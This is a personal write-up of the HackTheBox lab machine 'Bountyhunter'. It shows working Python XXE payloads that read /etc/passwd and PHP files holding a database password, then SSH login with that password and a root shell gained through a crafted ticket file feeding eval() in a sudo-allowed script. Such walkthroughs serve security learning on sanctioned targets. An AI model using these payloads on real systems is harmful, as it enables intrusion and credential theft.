Writeup for the easy ranked HTB box Bountyhunter

Posted on Nov 20, 2021

The front page

This writeup describes how I approached the box Bountyhunter from Hackthebox. The box is based on Linux and it is rated easy. My style of writeups is to describe how I was thinking when attacking them. My personal opinion is that I learn from analyzing my process over and over again, and you learn more from understanding the process than just following a guide. So if you just want a step by step guide perhaps it’s best to look elsewhere. :) Now let’s get going!

Scanning the target with NMAP

First of all let’s see what attack surfaces are available. Let’s run NMAP for a fast scan of all open ports.

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# nmap -p 0-65535 10.129.180.188 -T5
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 09:24 UTC
Nmap scan report for 10.129.180.188
Host is up (0.0011s latency).
Not shown: 65533 filtered ports
PORT   STATE  SERVICE
0/tcp  closed unknown
22/tcp open   ssh
80/tcp open   http

Nmap done: 1 IP address (1 host up) scanned in 56.89 seconds

Now we know that port 22 and port 80 is open. Let’s start another scan that will gather some more information from just these ports.

β”Œβ”€β”€(rootπŸ’€19fd5777029e)-[/]
└─# nmap -sS -sV -A -p 22,80 10.129.180.188 -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 20:17 UTC
Nmap scan report for 10.129.180.188
Host is up (0.0091s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.01 ms 172.17.0.1
2   1.56 ms 10.129.180.188

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.11 seconds

Nmap shows a rather limited attack surface. SSH and HTTP ports are open. The server seems to be running Ubuntu and Apache but there’s not much more information here. There’s a much better chance of finding a vulnerability in the web application than SSH so let’s try that.

Scanning the HTTP server with DIRB

Let’s scan the http server using dirb. I always do this even if I have found a possible vulnerability already. Gathering as much information as possible early most of the time pays off in the end.

β”Œβ”€β”€(rootπŸ’€19fd5777029e)-[/]
└─# dirb http://10.129.180.188

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Jul 29 19:25:43 2021
URL_BASE: http://10.129.180.188/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.129.180.188/ ----
==> DIRECTORY: http://10.129.180.188/assets/
==> DIRECTORY: http://10.129.180.188/css/
+ http://10.129.180.188/index.php (CODE:200|SIZE:25169)
==> DIRECTORY: http://10.129.180.188/js/
==> DIRECTORY: http://10.129.180.188/resources/
+ http://10.129.180.188/server-status (CODE:403|SIZE:279)

---- Entering directory: http://10.129.180.188/assets/ ----
==> DIRECTORY: http://10.129.180.188/assets/img/

---- Entering directory: http://10.129.180.188/css/ ----

---- Entering directory: http://10.129.180.188/js/ ----

---- Entering directory: http://10.129.180.188/resources/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.129.180.188/assets/img/ ----
+ http://10.129.180.188/assets/img/favicon.ico (CODE:200|SIZE:23462)
==> DIRECTORY: http://10.129.180.188/assets/img/portfolio/

---- Entering directory: http://10.129.180.188/assets/img/portfolio/ ----

-----------------
END_TIME: Thu Jul 29 19:45:57 2021
DOWNLOADED: 27672 - FOUND: 3

That’s not very much of interest. Let’s move on and poke around in the web app.

Analyzing the web page and backend

Let’s fire up our browser and check out what the web page looks like.

The front page If you scroll through the site you can see that there is not much available. Before using Burp Suite or any other more advanced tools I usually just use the built in developer tools in the browser to analyze the code. Start developer tools (Chrome ctrl-shift-i).

The front page There are three options available from the upper menu: ABOUT, CONTACT and PORTAL. Most of the code is just static html and the contact form does not seem to be implemented yet so the way forward seems to be the portal.

The front page The portal is under development, and we are provided a link to test the bounty tracker. That’s what we like, unfinished code is most often vulnerable.

The front page Finally, we found a form where we seem to be able to interact with some kind of backend. Let’s start developer tools again and post some stuff to see what we can do. Just fill in the fields and push submit.

The front page I used A, B, V and D (don’t ask :)) in the different fields to be able to separate them later. And it seems to work. The current page is updated and the data we provided is returned back to us. Looking at the request header we can see that we are posting trough the endpoint tracker_diRbPr00f314.php.

Request URL: http://10.129.180.188/tracker_diRbPr00f314.php
Request Method: POST
Status Code: 200 OK
Remote Address: 10.129.180.188:80
Referrer Policy: strict-origin-when-cross-origin

At this time I tried to inject some PHP into the fields but That does not seem to work so let’s analyze it further. We can use the developer tools to scroll through the headers that was sent and check the form data.

data:PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5BPC90aXRsZT4KCQk8Y3dlPkI8L2N3ZT4KCQk8Y3Zzcz5WPC9jdnNzPgoJCTxyZXdhcmQ+RDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==

This seems to be just a large blob of base64 encoded stuff so let’s decode it.


β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# echo PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5BPC90aXRsZT4KCQk8Y3dlPkI8L2N3ZT4KCQk8Y3Zzcz5WPC9jdnNzPgoJCTxyZXdhcmQ+RDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg== | base64 -d
<?xml  version="1.0" encoding="ISO-8859-1"?>
                <bugreport>
                <title>A</title>
                <cwe>B</cwe>
                <cvss>V</cvss>
                <reward>D</reward>
                </bugreport>

So it’s a simple XML document that is posted to the server. It looks like this if we prettyprint it.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<bugreport>
    <title>A</title>
    <cwe>B</cwe>
    <cvss>V</cvss>
    <reward>D</reward>
</bugreport>

That’s rather straight forward. We can see all the fields present so now we could start to manipulate them. Let’s create a script for this purpose so we do not have to deal with the base64 encoding manually every time.

Creating a python script to interact with the backend

We need the module requests to create http requests from python so let’s install it.

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# pip install requests
Collecting requests
  Downloading requests-2.26.0-py2.py3-none-any.whl (62 kB)
     |β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 62 kB 1.4 MB/s
Collecting idna<4,>=2.5
  Downloading idna-3.2-py3-none-any.whl (59 kB)
     |β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 59 kB 8.6 MB/s
Collecting urllib3<1.27,>=1.21.1
  Downloading urllib3-1.26.6-py2.py3-none-any.whl (138 kB)
     |β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 138 kB 16.0 MB/s
Collecting certifi>=2017.4.17
  Downloading certifi-2021.5.30-py2.py3-none-any.whl (145 kB)
     |β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 145 kB 8.1 MB/s
Collecting charset-normalizer~=2.0.0
  Downloading charset_normalizer-2.0.3-py3-none-any.whl (35 kB)
Installing collected packages: urllib3, idna, charset-normalizer, certifi, requests
Successfully installed certifi-2021.5.30 charset-normalizer-2.0.3 idna-3.2 requests-2.26.0 urllib3-1.26.6

Now let’s create a script that takes the XML document, base64 encodes it and posts it to the backend.

#/bin/python3
import base64
import requests

url = 'http://10.129.180.188/tracker_diRbPr00f314.php'

doc = '<?xml  version="1.0" encoding="ISO-8859-1"?>'\
'<bugreport>'\
'<title>A</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward>D</reward>'\
'</bugreport>'

payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))

x = requests.post(url, data = payload)

print(x.text)

We save the file as exploit.py and try to run it.

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# python3 exploit.py
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>A</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>B</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>C</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>D</td>
  </tr>
</table>

And yes, it works. The server returns some html formatted data back to us. At this time, I once again tried to inject some PHP into these fields but without any luck.

So something is parsing XML on the server side. This could be vulnerable to either XML External Entity (XXE) or some kind of serialization issue or other bug in the backend. I tried to crash the app by sending strange characters like ‘^’`"#Β€"#Β€&Β€%/ and so on but I did not succeed.

So let’s try to exploit some XXE instead.

Use XXE exploitation to exfiltrate files

This is a good place for some information on the subject here.

The use of external entities makes it possible to insert a file from a filesystem or a URL into the XML at the time when the document is being parsed. Hopefully this happens on the server side and we can accomplish LFI. This is what it looks like.

'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>'
'<title>&xxe;</title>'

We try to insert the file /etc/passwd which is always available on Linux system and if it works its contents will be injected in the title tag instead of the &xxe. I altered the exploit.py script to include the XXE exploit:

#/bin/python3
import base64
import requests

url = 'http://10.129.180.188/tracker_diRbPr00f314.php'

doc = '<?xml  version="1.0" encoding="ISO-8859-1"?>'\
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>' \
'<bugreport>'\
'<title>&xxe;</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward>D</reward>'\
'</bugreport>'

payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))

x = requests.post(url, data = payload)

print(x.text)

So what happens when we run it?

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# python3 exploit.py
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>B</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>C</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>D</td>
  </tr>
</table>

It works!! /etc/passwd is injected into the title. But now what? Looking at the passwd file we can see that there is one user called development that can login to the system. I tried to grab his private ssh key (/home/development/.ssh/id_rsa) by altering the script again but that did not work. So, let’s try to grab the tracker_diRbPr00f314.php just to check it out. We alter the script once again (At this point perhaps it should have been better to use the filename as an argument but I didn’t think I would spend much time on this.).

#/bin/python3
import base64
import requests

url = 'http://10.129.180.188/tracker_diRbPr00f314.php'

doc = '<?xml  version="1.0" encoding="ISO-8859-1"?>'\
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://tracker_diRbPr00f314.php"> ]>' \
'<bugreport>'\
'<title>&xxe;</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward>D</reward>'\
'</bugreport>'

payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))

x = requests.post(url, data = payload)

print(x.text)

Let’s run exploit.py once again.

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# python3 exploit.py
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td></td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td></td>
  </tr>
  <tr>
    <td>Score:</td>
    <td></td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td></td>
  </tr>
</table>

NOTHING?? That’s strange. We know it’s there. Of course, there could be some issues with paths and current directory but after trying some different stuff and nothing worked, I came to the conclusion that we need to encode our stuff to get it back. Can that be done? After some googling, I found this:

Let’s modify the script and try to use the php-filter to base64 encode our LFI. At this time, I tried some different paths but, in this script, the one that seems to work is /var/www/html, that is the default path for serving pages with Apache on Ubuntu.

#/bin/python3
import base64
import requests

url = 'http://10.129.180.188/tracker_diRbPr00f314.php'

doc = '<?xml  version="1.0" encoding="ISO-8859-1"?>'\
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/tracker_diRbPr00f314.php"> ]>' \
'<bugreport>'\
'<title>&xxe;</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward></reward>'\
'</bugreport>'

payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))

x = requests.post(url, data = payload)

print(x.text)

Let’s run exploit.py once again

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# python3 exploit.py
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>PD9waHAKCmlmKGlzc2V0KCRfUE9TVFsnZGF0YSddKSkgewokeG1sID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2RhdGEnXSk7CmxpYnhtbF9kaXNhYmxlX2VudGl0eV9sb2FkZXIoZmFsc2UpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7CiRkb20tPmxvYWRYTUwoJHhtbCwgTElCWE1MX05PRU5UIHwgTElCWE1MX0RURExPQUQpOwokYnVncmVwb3J0ID0gc2ltcGxleG1sX2ltcG9ydF9kb20oJGRvbSk7Cn0KPz4KSWYgREIgd2VyZSByZWFkeSwgd291bGQgaGF2ZSBhZGRlZDoKPHRhYmxlPgogIDx0cj4KICAgIDx0ZD5UaXRsZTo8L3RkPgogICAgPHRkPjw/cGhwIGVjaG8gJGJ1Z3JlcG9ydC0+dGl0bGU7ID8+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZD5DV0U6PC90ZD4KICAgIDx0ZD48P3BocCBlY2hvICRidWdyZXBvcnQtPmN3ZTsgPz48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkPlNjb3JlOjwvdGQ+CiAgICA8dGQ+PD9waHAgZWNobyAkYnVncmVwb3J0LT5jdnNzOyA/PjwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+UmV3YXJkOjwvdGQ+CiAgICA8dGQ+PD9waHAgZWNobyAkYnVncmVwb3J0LT5yZXdhcmQ7ID8+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgo=</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>B</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>C</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td></td>
  </tr>
</table>

Yes now it works. Cut out that base64 and decode it and we get some PHP.

<?php

if(isset($_POST['data'])) {
$xml = base64_decode($_POST['data']);
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$bugreport = simplexml_import_dom($dom);
}
?>
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td><?php echo $bugreport->title; ?></td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td><?php echo $bugreport->cwe; ?></td>
  </tr>
  <tr>
    <td>Score:</td>
    <td><?php echo $bugreport->cvss; ?></td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td><?php echo $bugreport->reward; ?></td>
  </tr>
</table>

That seems to be the PHP file from the server side. But now what? We can grab any file that we have permissions for now. But it’s an endless guessing game and I hate guessing games. I decided to go for PHP files like database configurations and stuff but since we do not now where they put them it’s back to guessing paths again.

Let’s see if DIRB with a seclist dedicated for PHP can help us.

Scanning for PHP specific files with DIRB

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# dirb http://10.129.180.188 /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Jul 28 10:52:12 2021
URL_BASE: http://10.129.180.188/
WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt

-----------------

GENERATED WORDS: 5163

---- Scanning URL: http://10.129.180.188/ ----
+ http://10.129.180.188/index.php (CODE:200|SIZE:25169)
+ http://10.129.180.188/db.php (CODE:200|SIZE:0)
+ http://10.129.180.188/portal.php (CODE:200|SIZE:125)

-----------------
END_TIME: Wed Jul 28 10:56:14 2021
DOWNLOADED: 5163 - FOUND: 3

And yes there’s a db.php file that could be interesting. (Note to self: add this type of scanning in the recon phase if the site is using PHP.) Now let’s change our script and grab that file.

Exfiltrating db.php

Once again we alter the script, now to grab the db.php file.

#/bin/python3
import base64
import requests

url = 'http://10.129.180.134/tracker_diRbPr00f314.php'

doc = '<?xml  version="1.0" encoding="ISO-8859-1"?>'\
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/db.php"> ]>' \
'<bugreport>'\
'<title>&xxe;</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward></reward>'\
'</bugreport>'

payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))

x = requests.post(url, data = payload)

print(x.text)

Execute the script.

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# python3 exploit.py
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>B</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>C</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td></td>
  </tr>
</table>

Cut out the base64 encoded part and decode it and we get some PHP.

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Aha, we found a password. Let’s try using that password for logging in as the development user via ssh. You should always try found passwords with every known user since it’s common to reuse passwords.

Logging in as development via SSH

β”Œβ”€β”€(rootπŸ’€45e69aa07842)-[/]
└─# ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 28 Jul 2021 11:03:41 AM UTC

  System load:           0.0
  Usage of /:            24.1% of 6.83GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             215
  Users logged in:       0
  IPv4 address for eth0: 10.129.180.188
  IPv6 address for eth0: dead:beef::250:56ff:feb9:da71

0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Jul 27 20:09:34 2021 from 10.10.14.56
[email protected]:~$

SUCCESS! We have a foothold and we got our user.

[email protected]:~$ ls -la
total 48
drwxr-xr-x 5 development development 4096 Jul 27 20:10 .
drwxr-xr-x 3 root        root        4096 Jun 15 16:07 ..
lrwxrwxrwx 1 root        root           9 Apr  5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25  2020 .bashrc
drwx------ 2 development development 4096 Apr  5 22:50 .cache
-rw-r--r-- 1 root        root         471 Jun 15 16:10 contract.txt
lrwxrwxrwx 1 root        root           9 Jul  5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr  6 23:34 .local
-rw-r--r-- 1 development development  807 Feb 25  2020 .profile
drwx------ 2 development development 4096 Apr  7 01:48 .ssh
-rw-rw-r-- 1 development development  103 Jul 27 20:10 ticket.md
-r--r----- 1 root        development   33 Jul 27 20:08 user.txt
-rw------- 1 development development  770 Jul 27 20:10 .viminfo
[email protected]:~$ cat user.txt
deadbeefdeadbeefdeadbeefdeadbeef
[email protected]:~$

Enumerating for privilege escalation path

Before scanning a system using great tools like linenum and linpeas you should always try some simple things first. One of them is sudo -l.

[email protected]:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

And praise the dark lord, this time we found a possible attack surface at our first attempt. We are able to run the script /opt/skytrain_inc/ticketValidator.py with root privileges using sudo. So if we can find a vulnerability in that script which we can exploit to execute commands, then we are gods of the system. Let’s check out the script.

Exploiting /opt/skytrain_inc/ticketValidator.py

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Just by looking at the code we can see that it parses a file which we are able to provide the path to. There’s a bunch of if statements that looks for stuff in the file. And there’s this very interesting line:

 validationNumber = eval(x.replace("**", ""))

If we can control what is going into that eval function, we will be able to execute code. So the program reads the file line by line and checks if it’s in the desired format.

My take on this was using Visual studio code. Putting breakpoints on every if statement and debugging. By running this several times, I figured out what the format of the file was supposed to look like, and I finally hit that eval function. Before entering the eval it splits the line using the character + and then it performs the % operator on the first part of the split.

ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:

So if I can get the result of int(ticketCode) % 7 to become 4 I will get into that eval statement and by making the second part spawning a shell I should have root permissions. I figured out that 25 % 7 = 4 and the separator is + so at the other side we put some code __import__('os').system('/bin/sh') to spawn a shell. My final ticket file looked like this.

# Skytrain Inc
## Ticket to [email protected]
__Ticket Code:__
**25+__import__('os').system('/bin/sh')

I saved it as /home/development/ticket.md. Now let’s try to use it.

[email protected]:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/ticket.md
Destination: [email protected]
# whoami
root
# cat /root/root.txt
deadbeefdeadbeefdeadbeefdeadbeef

And we are God (or Satan). I think this box was a great one in the easy category. My only complaint comes down to the user part being much harder than the privesc part. Perhaps it’s just me but every time it comes to guessing I find myself spending time on pointless things. I probably should improve my game of enumeration and stop guessing.

This could have been a much smoother ride if I had implemented the LFI filename as an argument into the python script. I should probably have included base64 decoding as well and I should have scanned for PHP specific files from the start. But that’s why we do this, to learn and improve.

Happy hacking!

/Christian (f1rstr3am)

Christian

HTB THM